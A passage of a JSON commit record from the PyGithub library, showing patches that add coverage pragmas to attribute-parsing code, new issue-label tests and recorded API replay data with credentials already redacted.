self.__number = attributes[ \"number\" ]\n- if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None:\n+ if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None: # pragma no branch\n self.__patch_url = attributes[ \"patch_url\" ]\n- if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None:\n+ if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None: # pragma no branch\n self.__review_comments = attributes[ \"review_comments\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":26,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","changes":52,"additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","filename":"src/github/PullRequest.py"},{"patch":"@@ -121,26 +121,26 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","filename":"src/github/PullRequestComment.py"},{"patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","filename":"src/github/PullRequestFile.py"},{"patch":"@@ -905,96 +905,96 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"clone_url\", \"created_at\", \"description\", \"fork\", \"forks\", \"full_name\", \"git_url\", \"has_downloads\", \"has_issues\", \"has_wiki\", \"homepage\", \"html_url\", \"id\", \"language\", \"master_branch\", \"mirror_url\", \"name\", \"open_issues\", \"organization\", \"owner\", \"parent\", \"permissions\", \"private\", \"pushed_at\", \"size\", \"source\", \"ssh_url\", \"svn_url\", \"updated_at\", \"url\", \"watchers\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None:\n+ if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"clone_url\" ], str )\n self.__clone_url = attributes[ \"clone_url\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"fork\" in attributes and attributes[ \"fork\" ] is not None:\n+ if \"fork\" in attributes and attributes[ \"fork\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork\" ], bool )\n self.__fork = attributes[ \"fork\" ]\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], int )\n self.__forks = attributes[ \"forks\" ]\n- if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None:\n+ if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"full_name\" ], str )\n self.__full_name = attributes[ \"full_name\" ]\n- if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None:\n+ if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_url\" ], str )\n self.__git_url = attributes[ \"git_url\" ]\n- if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None:\n+ if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_downloads\" ], bool )\n self.__has_downloads = attributes[ \"has_downloads\" ]\n- if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None:\n+ if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_issues\" ], bool )\n self.__has_issues = attributes[ \"has_issues\" ]\n- if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None:\n+ if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_wiki\" ], bool )\n self.__has_wiki = attributes[ \"has_wiki\" ]\n- if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None:\n+ if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"homepage\" ], str )\n self.__homepage = attributes[ \"homepage\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"language\" in attributes and attributes[ \"language\" ] is not None:\n+ if \"language\" in attributes and attributes[ \"language\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"language\" ], str )\n self.__language = attributes[ \"language\" ]\n- if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None:\n+ if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"master_branch\" ], str )\n self.__master_branch = attributes[ \"master_branch\" ]\n- if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None:\n+ if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mirror_url\" ], str )\n self.__mirror_url = attributes[ \"mirror_url\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"organization\" in attributes and attributes[ \"organization\" ] is not None:\n+ if \"organization\" in attributes and attributes[ \"organization\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"organization\" ], dict )\n self.__organization = Organization.Organization( self.__requester, attributes[ \"organization\" ], completion = LazyCompletion )\n- if \"owner\" in attributes and attributes[ \"owner\" ] is not None:\n+ if \"owner\" in attributes and attributes[ \"owner\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owner\" ], dict )\n self.__owner = NamedUser.NamedUser( self.__requester, attributes[ \"owner\" ], completion = LazyCompletion )\n- if \"parent\" in attributes and attributes[ \"parent\" ] is not None:\n+ if \"parent\" in attributes and attributes[ \"parent\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parent\" ], dict )\n self.__parent = Repository( self.__requester, attributes[ \"parent\" ], completion = LazyCompletion )\n- if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None:\n+ if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"permissions\" ], dict )\n self.__permissions = Permissions.Permissions( self.__requester, attributes[ \"permissions\" ], completion = LazyCompletion )\n- if \"private\" in attributes and attributes[ \"private\" ] is not None:\n+ if \"private\" in attributes and attributes[ \"private\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private\" ], bool )\n self.__private = attributes[ \"private\" ]\n- if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None:\n+ if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pushed_at\" ], str )\n self.__pushed_at = attributes[ \"pushed_at\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"source\" in attributes and attributes[ \"source\" ] is not None:\n+ if \"source\" in attributes and attributes[ \"source\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"source\" ], dict )\n self.__source = Repository( self.__requester, attributes[ \"source\" ], completion = LazyCompletion )\n- if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None:\n+ if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ssh_url\" ], str )\n self.__ssh_url = attributes[ \"ssh_url\" ]\n- if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None:\n+ if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"svn_url\" ], str )\n self.__svn_url = attributes[ \"svn_url\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None:\n+ if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"watchers\" ], int )\n self.__watchers = attributes[ \"watchers\" ]","status":"modified","deletions":31,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","changes":62,"additions":31,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","filename":"src/github/Repository.py"},{"patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","filename":"src/github/RepositoryKey.py"},{"patch":"@@ -38,15 +38,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", \"tarball_url\", \"zipball_url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None:\n+ if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tarball_url\" ], str )\n self.__tarball_url = attributes[ \"tarball_url\" ]\n- if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None:\n+ if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"zipball_url\" ], str )\n self.__zipball_url = attributes[ \"zipball_url\" ]","status":"modified","deletions":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","changes":8,"additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","filename":"src/github/Tag.py"},{"patch":"@@ -172,15 +172,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"members_count\", \"name\", \"permission\", \"repos_count\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None:\n+ if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None: # pragma no branch\n self.__members_count = attributes[ \"members_count\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"permission\" in attributes and attributes[ \"permission\" ] is not None:\n+ if \"permission\" in attributes and attributes[ \"permission\" ] is not None: # pragma no branch\n self.__permission = attributes[ \"permission\" ]\n- if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None:\n+ if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None: # pragma no branch\n self.__repos_count = attributes[ \"repos_count\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","filename":"src/github/Team.py"},{"patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","filename":"src/github/UserKey.py"},{"patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","status":"modified","deletions":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","changes":26,"additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py"},{"patch":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.event.actor.login, \"jacquev6\" )\r\n- self.assertEqual( self.event.commit_id, None )\r\n- self.assertEqual( self.event.created_at, \"2012-05-19T10:38:23Z\" )\r\n- self.assertEqual( self.event.event, \"subscribed\" )\r\n- self.assertEqual( self.event.id, 15819975 )\r\n- self.assertEqual( self.event.issue.number, 28 )\r\n- self.assertEqual( self.event.url, \"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975\" )\r\n+ self.assertEqual( self.event.commit_id, \"ed866fc43833802ab553e5ff8581c81bb00dd433\" )\r\n+ self.assertEqual( self.event.created_at, \"2012-05-27T07:29:25Z\" )\r\n+ self.assertEqual( self.event.event, \"referenced\" )\r\n+ self.assertEqual( self.event.id, 16348656 )\r\n+ self.assertEqual( self.event.issue.number, 30 )\r\n+ self.assertEqual( self.event.url, \"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656\" )\r","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","filename":"test/IssueEvent.py"},{"patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', 